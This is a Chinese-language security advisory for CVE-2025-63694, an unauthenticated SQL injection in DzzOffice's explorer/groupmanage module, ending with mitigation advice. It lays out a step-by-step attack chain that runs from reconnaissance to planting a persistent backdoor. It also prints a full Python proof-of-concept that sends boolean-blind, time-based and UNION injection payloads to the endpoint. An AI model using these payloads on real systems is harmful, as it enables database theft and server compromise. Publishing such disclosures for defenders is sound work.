IPBUF安全漏洞报告
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CVE-2025-63694 CVSS 9.8 严重

CVE-2025-63694 DzzOffice explorer/groupmanage SQL注入漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-63694
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
DzzOffice

相关标签

SQL注入DzzOfficeCVE-2025-63694Web应用安全数据库安全无需认证网络攻击企业办公系统盲注攻击严重漏洞

漏洞概述

CVE-2025-63694是DzzOffice企业办公系统中存在的一个严重SQL注入漏洞。该漏洞影响DzzOffice v2.3.7及之前版本,漏洞位置位于explorer/groupmanage功能模块。攻击者无需任何认证凭证即可利用此漏洞,通过构造恶意的SQL语句 payload 注入到应用程序的数据库查询中,从而实现对后台数据库的未授权访问和操作。由于该漏洞的CVSS评分高达9.8,属于严重级别(CRITICAL),且攻击向量为网络级别,攻击复杂度低,无需特权访问和用户交互,远程攻击者可以直接通过HTTP请求触发漏洞。DzzOffice是一款广泛应用于企业和组织的开源办公协作平台,该系统通常部署在内部网络中,一旦被攻击者利用,可能导致敏感业务数据泄露、数据库被篡改,甚至可能通过数据库操作进一步获取服务器控制权限,对企业信息安全造成严重威胁。

技术细节

该SQL注入漏洞存在于DzzOffice的explorer/groupmanage功能模块中。漏洞产生的根本原因是应用程序在处理用户输入时,直接将用户可控的参数拼接到SQL查询语句中,未进行充分的输入验证和参数化查询处理。攻击者可以通过构造特殊的SQL语法字符和payload,如单引号、UNION SELECT、布尔盲注、时间盲注等技术,实现对数据库的非法查询和操作。由于漏洞位置对用户输入缺乏严格的过滤机制,攻击者可以绕过前端的简单防护措施,直接将恶意SQL代码注入到后端数据库查询中。成功利用此漏洞后,攻击者可以:1)枚举数据库中的敏感信息,包括用户账户、密码哈希等;2)读取存储在数据库中的机密业务数据;3)修改或删除数据库记录,影响系统正常运行;4)在某些配置不当的环境中,可能进一步实现远程代码执行。攻击者通常使用自动化工具如sqlmap配合Burp Suite等代理工具来抓取请求包并构造payload,整个攻击过程可在短时间内完成。

攻击链分析

STEP 1
1. 信息收集
攻击者首先识别目标网站是否使用DzzOffice系统,通过搜索引擎、Shodan等工具进行侦察,确定目标版本号
STEP 2
2. 漏洞探测
访问explorer/groupmanage端点,使用SQL注入测试字符(如单引号')验证漏洞是否存在,观察返回的数据库错误信息
STEP 3
3. Payload构造
根据目标数据库类型(MySQL),构造针对性的SQL注入payload,可使用UNION注入、布尔盲注或时间盲注技术
STEP 4
4. 数据提取
利用SQL注入漏洞提取数据库中的敏感信息,包括用户表、密码字段、数据库版本等关键数据
STEP 5
5. 权限提升
通过获取的管理员凭据登录后台系统,进一步利用其他漏洞实现服务器远程代码执行
STEP 6
6. 持久化控制
在服务器上植入后门程序,建立持久化访问通道,完成完整攻击链

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-63694 DzzOffice SQL Injection PoC # Target: DzzOffice v2.3.7 and before # Endpoint: explorer/groupmanage def exploit_sql_injection(target_url): """ SQL Injection exploit for DzzOffice explorer/groupmanage This PoC demonstrates boolean-based blind SQL injection """ # Vulnerable endpoint vuln_url = f"{target_url}/index.php?mod=explorer&op=groupmanage" # Normal request (baseline) normal_params = { 'groupid': '1' } # SQL Injection payloads for testing # Boolean-based blind SQL injection true_payload = "1' AND 1=1 -- " false_payload = "1' AND 1=2 -- " # Database version extraction payload version_payload = "1' AND (SELECT COUNT(*) FROM mysql.user) > 0 -- " # Union-based injection to extract data union_payload = "-1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 -- " # Time-based blind SQL injection (MySQL) time_payload = "1' AND SLEEP(5) -- " headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } print(f"[*] Target: {target_url}") print(f"[*] Exploiting SQL Injection vulnerability...") # Test for vulnerability try: # Send true condition params = {'groupid': true_payload} response_true = requests.get(vuln_url, params=params, headers=headers, timeout=10) # Send false condition params = {'groupid': false_payload} response_false = requests.get(vuln_url, params=params, headers=headers, timeout=10) # Compare responses to determine if vulnerable if response_true.status_code == 200 and response_false.status_code != response_true.status_code: print("[+] Vulnerability confirmed! SQL Injection is present.") print("[+] True payload response length:", len(response_true.text)) print("[-] False payload response length:", len(response_false.text)) # Extract database version using UNION injection params = {'groupid': union_payload} response_union = requests.get(vuln_url, params=params, headers=headers, timeout=10) print("[+] UNION injection response:", response_union.text[:500]) return True else: print("[-] Target may not be vulnerable or is already patched.") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_63694_poc.py <target_url>") print("Example: python cve_2025_63694_poc.py http://target.com/dzzoffice") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sql_injection(target)

影响范围

DzzOffice <= 2.3.7

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)使用Web应用防火墙拦截包含SQL特殊字符(如单引号、UNION、SELECT等)的请求;2)对explorer/groupmanage功能进行访问控制,限制为授权用户访问;3)监控数据库查询日志,及时发现异常的SQL注入行为;4)考虑暂时禁用groupmanage功能模块,待官方修复后再恢复使用;5)加强对数据库服务器的访问控制,限制应用服务器对数据库的直接访问权限。

参考链接

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